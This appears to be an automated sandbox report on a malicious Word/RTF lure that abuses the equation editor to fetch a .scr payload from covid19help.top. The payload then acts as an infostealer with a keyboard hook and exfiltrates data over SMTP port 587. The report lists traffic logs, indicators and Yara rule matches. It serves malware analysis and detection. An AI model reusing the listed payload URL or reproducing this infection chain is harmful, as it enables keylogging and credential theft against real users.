Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49170

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 13.2.dzoihohj75439.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.3419a00.6.raw.unpack, type: UNPACKEDPE

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 208.91.199.225:587
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.91.199.224:587
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 208.91.199.223:587

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.91.198.143 208.91.198.143
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 208.91.199.225 208.91.199.225

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	DNS query: name: ip-api.com
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	DNS query: name: ip-api.com
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	DNS query: name: ip-api.com

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 208.91.199.225:587
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.91.199.224:587
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 208.91.199.223:587

Source: global traffic

HTTP traffic detected: GET /JBNvj66BwYU3yCv.scr HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: covid19help.topConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FE2D0FDB-7F0A-4F00-BC04-18F54428C4C8}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /JBNvj66BwYU3yCv.scr HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: covid19help.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: covid19help.top

Source: EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F2E000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr, 00000005.00000002.365439049.0000000006EFA000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr.2.dr, JBNvj66BwYU3yCv[1].scr.2.dr, egFUHsL.exe.5.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F20000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F2E000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr, 00000005.00000002.365439049.0000000006EFA000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr.2.dr, JBNvj66BwYU3yCv[1].scr.2.dr, egFUHsL.exe.5.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: dzoihohj75439.scr, 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, dzoihohj75439.scr, 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp, dzoihohj75439.scr, 0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp, egFUHsL.exe, 00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F20000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F2E000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr, 00000005.00000002.365439049.0000000006EFA000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr.2.dr, JBNvj66BwYU3yCv[1].scr.2.dr, egFUHsL.exe.5.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: dzoihohj75439.scr, 00000005.00000002.361137396.0000000002238000.00000004.00000800.00020000.00000000.sdmp, dzoihohj75439.scr, 0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp, egFUHsL.exe, 0000000F.00000002.372430657.0000000002351000.00000004.00000800.00020000.00000000.sdmp, egFUHsL.exe, 00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: dzoihohj75439.scr, 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, dzoihohj75439.scr, 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://covid19help.top/
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://covid19help.top/JBNvj66BwYU3yCv.scr
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://covid19help.top/JBNvj66BwYU3yCv.scrC:
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://covid19help.top/JBNvj66BwYU3yCv.scrj
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://covid19help.top/JBNvj66BwYU3yCv.scrttC:
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://covid19help.top/tV
Source: EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F2E000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr, 00000005.00000002.365439049.0000000006EFA000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr.2.dr, JBNvj66BwYU3yCv[1].scr.2.dr, egFUHsL.exe.5.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161

Source: unknown

HTTPS traffic detected: 104.21.83.128:443 -> 192.168.2.22:49161 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\dzoihohj75439.scr			Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\egFUHsL.exe

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: Remittance 17042024.doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.2.dzoihohj75439.scr.3419a00.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.dzoihohj75439.scr.33de1e0.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 13.2.dzoihohj75439.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.dzoihohj75439.scr.3419a00.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4

Screenshot OCR: Enable editing") from the yellow bar aboveASSIGNMENTMCS 473: MARKETING MANAGEMENT & STRATEGYSTUDENT

.NET source code contains very large array initializations

Source: 5.2.dzoihohj75439.scr.600000.0.raw.unpack, .cs

Large array initialization: : array initializer size 13798

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr

Process Stats: CPU usage > 49%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_001F7040	5_2_001F7040
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_001FD0B8	5_2_001FD0B8
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_001F133D	5_2_001F133D
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_001FBC78	5_2_001FBC78
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_001F8DB0	5_2_001F8DB0
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_009F4888	5_2_009F4888
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_009F4CC0	5_2_009F4CC0
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_009F50F8	5_2_009F50F8
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_009F50F1	5_2_009F50F1
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_009F4450	5_2_009F4450
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_009F55E0	5_2_009F55E0
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_001C8878	13_2_001C8878
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_001C4070	13_2_001C4070
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_001C3928	13_2_001C3928
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_001C4940	13_2_001C4940
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_001CF3B0	13_2_001CF3B0
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_001CBBC8	13_2_001CBBC8
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_004F6550	13_2_004F6550
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_004F51F1	13_2_004F51F1
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_004F0580	13_2_004F0580
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_004F1640	13_2_004F1640
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 13_2_004F8778	13_2_004F8778
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_002FD0B8	15_2_002FD0B8
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_002FE0D0	15_2_002FE0D0
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_002FBC78	15_2_002FBC78
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_002F8DB0	15_2_002F8DB0
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_00AA4888	15_2_00AA4888
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_00AA50F8	15_2_00AA50F8
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_00AA50F1	15_2_00AA50F1
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_00AA4CC0	15_2_00AA4CC0
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_00AA4450	15_2_00AA4450
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_00AA55E0	15_2_00AA55E0
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_001C8878	22_2_001C8878
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_001C4070	22_2_001C4070
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_001C3928	22_2_001C3928
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_001C4940	22_2_001C4940
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_001CF3B0	22_2_001CF3B0
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_001CBBC8	22_2_001CBBC8
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_006D6550	22_2_006D6550
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_006D51F1	22_2_006D51F1
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_006D0580	22_2_006D0580
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_006D1640	22_2_006D1640
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 22_2_006D8778	22_2_006D8778

Source: tmp871B.tmp.5.dr

OLE indicator, VBA macros: true

Source: tmp871B.tmp.5.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: Remittance 17042024.doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 5.2.dzoihohj75439.scr.3419a00.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.dzoihohj75439.scr.33de1e0.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 13.2.dzoihohj75439.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.dzoihohj75439.scr.3419a00.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: JBNvj66BwYU3yCv[1].scr.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: dzoihohj75439.scr.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: egFUHsL.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	Security API names: _0020.SetAccessControl
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
